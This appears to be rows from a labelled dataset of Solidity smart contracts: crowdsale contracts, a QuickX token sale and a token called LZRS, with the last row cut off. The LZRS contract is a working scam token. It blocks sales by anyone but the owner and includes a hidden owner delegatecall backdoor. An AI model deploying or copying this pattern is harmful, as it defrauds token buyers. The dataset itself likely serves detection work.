function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(MilestonePricing _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(address _token, MilestonePricing _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed) CrowdsaleExt(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) constant returns (bool limitBroken) {
if (!isWhiteListed) throw;
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
CrowdsaleTokenExt mintableToken = CrowdsaleTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
function setMaximumSellableTokens(uint tokens) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
}
library SMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
} | 1 | 5,368 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LZRS {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,324 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract QuickxToken is ERC20 {
using SafeMath for uint;
event LogBurn(address indexed from, uint256 amount);
event LogFreezed(address targetAddress, bool frozen);
event LogEmerygencyFreezed(bool emergencyFreezeStatus);
string public name = "QuickX Protocol";
string public symbol = "QCX";
uint8 public decimals = 8;
address public owner;
uint public totalSupply = 500000000 * (10 ** 8);
uint public currentSupply = 250000000 * (10 ** 8);
bool public emergencyFreeze = true;
mapping (address => uint) internal balances;
mapping (address => mapping (address => uint) ) private allowed;
mapping (address => bool) private frozen;
constructor () public {
owner = address(0x2cf93Eed42d4D0C0121F99a4AbBF0d838A004F64);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier unfreezed(address _account) {
require(!frozen[_account]);
_;
}
modifier noEmergencyFreeze() {
require(!emergencyFreeze);
_;
}
function transfer(address _to, uint _value)
public
unfreezed(_to)
unfreezed(msg.sender)
noEmergencyFreeze()
returns (bool success) {
require(_to != 0x0);
_transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint _value)
public
unfreezed(_spender)
unfreezed(msg.sender)
noEmergencyFreeze()
returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue)
public
unfreezed(_spender)
unfreezed(msg.sender)
noEmergencyFreeze()
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
unfreezed(_spender)
unfreezed(msg.sender)
noEmergencyFreeze()
returns (bool success) {
uint oldAllowance = allowed[msg.sender][_spender];
if (_subtractedValue > oldAllowance) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldAllowance.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFrom(address _from, address _to, uint _value)
public
unfreezed(_to)
unfreezed(_from)
noEmergencyFreeze()
returns (bool success) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function freezeAccount (address _target, bool _freeze) public onlyOwner {
require(_target != 0x0);
frozen[_target] = _freeze;
emit LogFreezed(_target, _freeze);
}
function emergencyFreezeAllAccounts (bool _freeze) public onlyOwner {
emergencyFreeze = _freeze;
emit LogEmerygencyFreezed(_freeze);
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
currentSupply = currentSupply.sub(_value);
emit LogBurn(msg.sender, _value);
return true;
}
function balanceOf(address _tokenOwner) public view returns (uint) {
return balances[_tokenOwner];
}
function totalSupply() public view returns (uint) {
return totalSupply;
}
function allowance(address _tokenOwner, address _spender) public view returns (uint) {
return allowed[_tokenOwner][_spender];
}
function isFreezed(address _targetAddress) public view returns (bool) {
return frozen[_targetAddress];
}
function _transfer(address from, address to, uint amount) internal {
require(balances[from] >= amount);
uint balBeforeTransfer = balances[from].add(balances[to]);
balances[from] = balances[from].sub(amount);
balances[to] = balances[to].add(amount);
uint balAfterTransfer = balances[from].add(balances[to]);
assert(balBeforeTransfer == balAfterTransfer);
emit Transfer(from, to, amount);
}
}
contract QuickxProtocol is QuickxToken {
using SafeMath for uint;
uint public tokenSaleAllocation = 250000000 * (10 ** 8);
uint public bountyAllocation = 10000000 * (10 ** 8);
uint public founderAllocation = 65000000 * (10 ** 8);
uint public partnersAllocation = 25000000 * (10 ** 8);
uint public liquidityReserveAllocation = 75000000 * (10 ** 8);
uint public advisoryAllocation = 25000000 * (10 ** 8);
uint public preSeedInvestersAllocation = 50000000 * (10 ** 8);
uint[] public founderFunds = [
1300000000000000,
2600000000000000,
3900000000000000,
5200000000000000,
6500000000000000
];
uint[] public advisoryFunds = [
500000000000000,
1000000000000000,
1500000000000000,
2000000000000000,
2500000000000000
];
uint public founderFundsWithdrawn = 0;
uint public advisoryFundsWithdrawn = 0;
bool public bountyAllocated;
bool public partnersAllocated;
bool public liquidityReserveAllocated;
bool public preSeedInvestersAllocated;
uint public icoSuccessfulTime;
bool public isIcoSuccessful;
address public beneficiary;
uint private totalRaised = 0;
uint private totalCoinsSold = 0;
uint private softCap;
uint private hardCap;
uint private rateNum;
uint private rateDeno;
uint public tokenSaleStart;
uint public tokenSaleEnds;
bool public icoPaused;
event LogBontyAllocated(
address recepient,
uint amount);
event LogPartnersAllocated(
address recepient,
uint amount);
event LogLiquidityreserveAllocated(
address recepient,
uint amount);
event LogPreSeedInverstorsAllocated(
address recepient,
uint amount);
event LogAdvisorsAllocated(
address recepient,
uint amount);
event LogFoundersAllocated(
address indexed recepient,
uint indexed amount);
event LogFundingReceived(
address indexed addr,
uint indexed weiRecieved,
uint indexed tokenTransferred,
uint currentTotal);
event LogRateUpdated(
uint rateNum,
uint rateDeno);
event LogPaidToOwner(
address indexed beneficiary,
uint indexed amountPaid);
event LogWithdrawnRemaining(
address _owner,
uint amountWithdrawan);
event LogIcoEndDateUpdated(
uint _oldEndDate,
uint _newEndDate);
event LogIcoSuccessful();
mapping (address => uint) public contributedAmount;
constructor () public {
owner = address(0x2cf93Eed42d4D0C0121F99a4AbBF0d838A004F64);
rateNum = 75;
rateDeno = 100000000;
softCap = 4000 ether;
hardCap = 30005019135500000000000 wei;
tokenSaleStart = now;
tokenSaleEnds = now;
balances[this] = currentSupply;
isIcoSuccessful = true;
icoSuccessfulTime = now;
beneficiary = address(0x2cf93Eed42d4D0C0121F99a4AbBF0d838A004F64);
emit LogIcoSuccessful();
emit Transfer(0x0, address(this), currentSupply);
}
function () public payable {
require(msg.data.length == 0);
contribute();
}
modifier isFundRaising() {
require(
totalRaised <= hardCap &&
now >= tokenSaleStart &&
now < tokenSaleEnds &&
!icoPaused
);
_;
}
function allocateBountyTokens() public onlyOwner {
require(isIcoSuccessful && icoSuccessfulTime > 0);
require(!bountyAllocated);
balances[owner] = balances[owner].add(bountyAllocation);
currentSupply = currentSupply.add(bountyAllocation);
bountyAllocated = true;
assert(currentSupply <= totalSupply);
emit LogBontyAllocated(owner, bountyAllocation);
emit Transfer(0x0, owner, bountyAllocation);
}
function allocatePartnersTokens() public onlyOwner {
require(isIcoSuccessful && icoSuccessfulTime > 0);
require(!partnersAllocated);
balances[owner] = balances[owner].add(partnersAllocation);
currentSupply = currentSupply.add(partnersAllocation);
partnersAllocated = true;
assert(currentSupply <= totalSupply);
emit LogPartnersAllocated(owner, partnersAllocation);
emit Transfer(0x0, owner, partnersAllocation);
}
function allocateLiquidityReserveTokens() public onlyOwner {
require(isIcoSuccessful && icoSuccessfulTime > 0);
require(!liquidityReserveAllocated);
balances[owner] = balances[owner].add(liquidityReserveAllocation);
currentSupply = currentSupply.add(liquidityReserveAllocation);
liquidityReserveAllocated = true;
assert(currentSupply <= totalSupply);
emit LogLiquidityreserveAllocated(owner, liquidityReserveAllocation);
emit Transfer(0x0, owner, liquidityReserveAllocation);
}
function allocatePreSeedInvesterTokens() public onlyOwner {
require(isIcoSuccessful && icoSuccessfulTime > 0);
require(!preSeedInvestersAllocated);
balances[owner] = balances[owner].add(preSeedInvestersAllocation);
currentSupply = currentSupply.add(preSeedInvestersAllocation);
preSeedInvestersAllocated = true;
assert(currentSupply <= totalSupply);
emit LogPreSeedInverstorsAllocated(owner, preSeedInvestersAllocation);
emit Transfer(0x0, owner, preSeedInvestersAllocation);
}
function allocateFounderTokens() public onlyOwner {
require(isIcoSuccessful && icoSuccessfulTime > 0);
uint calculatedFunds = calculateFoundersTokens();
uint eligibleFunds = calculatedFunds.sub(founderFundsWithdrawn);
require(eligibleFunds > 0);
balances[owner] = balances[owner].add(eligibleFunds);
currentSupply = currentSupply.add(eligibleFunds);
founderFundsWithdrawn = founderFundsWithdrawn.add(eligibleFunds);
assert(currentSupply <= totalSupply);
emit LogFoundersAllocated(owner, eligibleFunds);
emit Transfer(0x0, owner, eligibleFunds);
}
function allocateAdvisoryTokens() public onlyOwner {
require(isIcoSuccessful && icoSuccessfulTime > 0);
uint calculatedFunds = calculateAdvisoryTokens();
uint eligibleFunds = calculatedFunds.sub(advisoryFundsWithdrawn);
require(eligibleFunds > 0);
balances[owner] = balances[owner].add(eligibleFunds);
currentSupply = currentSupply.add(eligibleFunds);
advisoryFundsWithdrawn = advisoryFundsWithdrawn.add(eligibleFunds);
assert(currentSupply <= totalSupply);
emit LogAdvisorsAllocated(owner, eligibleFunds);
emit Transfer(0x0, owner, eligibleFunds);
}
function withdrawEth () public onlyOwner {
owner.transfer(address(this).balance);
emit LogPaidToOwner(owner, address(this).balance);
}
function updateRate (uint _rateNum, uint _rateDeno) public onlyOwner {
rateNum = _rateNum;
rateDeno = _rateDeno;
emit LogRateUpdated(rateNum, rateDeno);
}
function updateIcoEndDate(uint _newDate) public onlyOwner {
uint oldEndDate = tokenSaleEnds;
tokenSaleEnds = _newDate;
emit LogIcoEndDateUpdated (oldEndDate, _newDate);
}
function withdrawUnsold() public onlyOwner returns (bool) {
require(now > tokenSaleEnds);
uint unsold = (tokenSaleAllocation.sub(totalCoinsSold));
balances[owner] = balances[owner].add(unsold);
balances[address(this)] = balances[address(this)].sub(unsold);
emit LogWithdrawnRemaining(owner, unsold);
emit Transfer(address(this), owner, unsold);
return true;
}
function transferAnyERC20Token(address _tokenAddress, uint _value) public onlyOwner returns (bool success) {
if (_tokenAddress == address(this)) {
require(now > tokenSaleStart + 730 days);
}
return ERC20(_tokenAddress).transfer(owner, _value);
}
function pauseICO(bool pauseStatus) public onlyOwner returns (bool status) {
require(icoPaused != pauseStatus);
icoPaused = pauseStatus;
return true;
}
function contribute () public payable isFundRaising returns(bool) {
uint calculatedTokens = calculateTokens(msg.value);
require(calculatedTokens > 0);
require(totalCoinsSold.add(calculatedTokens) <= tokenSaleAllocation);
contributedAmount[msg.sender] = contributedAmount[msg.sender].add(msg.value);
totalRaised = totalRaised.add(msg.value);
totalCoinsSold = totalCoinsSold.add(calculatedTokens);
_transfer(address(this), msg.sender, calculatedTokens);
beneficiary.transfer(msg.value);
checkIfSoftCapReached();
emit LogFundingReceived(msg.sender, msg.value, calculatedTokens, totalRaised);
emit LogPaidToOwner(beneficiary, msg.value);
return true;
}
function calculateTokens(uint weisToTransfer) public view returns(uint) {
uint discount = calculateDiscount();
uint coins = weisToTransfer.mul(rateNum).mul(discount).div(100 * rateDeno);
return coins;
}
function getTotalWeiRaised () public view returns(uint totalEthRaised) {
return totalRaised;
}
function getTotalCoinsSold() public view returns(uint _coinsSold) {
return totalCoinsSold;
}
function getSoftCap () public view returns(uint _softCap) {
return softCap;
}
function getHardCap () public view returns(uint _hardCap) {
return hardCap;
}
function getContractOwner () public view returns(address contractOwner) {
return owner;
}
function isContractAcceptingPayment() public view returns (bool) {
if (totalRaised < hardCap &&
now >= tokenSaleStart &&
now < tokenSaleEnds &&
totalCoinsSold < tokenSaleAllocation)
return true;
else
return false;
}
function calculateFoundersTokens() internal view returns(uint) {
uint timeAferIcoSuceess = now.sub(icoSuccessfulTime);
uint timeSpendInMonths = timeAferIcoSuceess.div(30 days);
if (timeSpendInMonths >= 3 && timeSpendInMonths < 6) {
return founderFunds[0];
} else if (timeSpendInMonths >= 6 && timeSpendInMonths < 9) {
return founderFunds[1];
} else if (timeSpendInMonths >= 9 && timeSpendInMonths < 12) {
return founderFunds[2];
} else if (timeSpendInMonths >= 12 && timeSpendInMonths < 18) {
return founderFunds[3];
} else if (timeSpendInMonths >= 18) {
return founderFunds[4];
} else {
revert();
}
}
function calculateAdvisoryTokens()internal view returns(uint) {
uint timeSpentAfterIcoEnd = now.sub(icoSuccessfulTime);
uint timeSpendInMonths = timeSpentAfterIcoEnd.div(30 days);
if (timeSpendInMonths >= 0 && timeSpendInMonths < 3)
return advisoryFunds[0];
if (timeSpendInMonths < 6)
return advisoryFunds[1];
if (timeSpendInMonths < 9)
return advisoryFunds[2];
if (timeSpendInMonths < 12)
return advisoryFunds[3];
if (timeSpendInMonths >= 12)
return advisoryFunds[4];
revert();
}
function checkIfSoftCapReached() internal returns (bool) {
if (totalRaised >= softCap && !isIcoSuccessful) {
isIcoSuccessful = true;
icoSuccessfulTime = now;
emit LogIcoSuccessful();
}
return;
}
function calculateDiscount() internal view returns(uint) {
if (totalCoinsSold < 12500000000000000) {
return 115;
} else if (totalCoinsSold < 18750000000000000) {
return 110;
} else if (totalCoinsSold < 25000000000000000) {
return 105;
} else {
return 100;
}
}
} | 1 | 2,709 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint finneyCostOfEachToken,
address addressOfTokenUsedAsReward) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = finneyCostOfEachToken * 1 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal) {
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
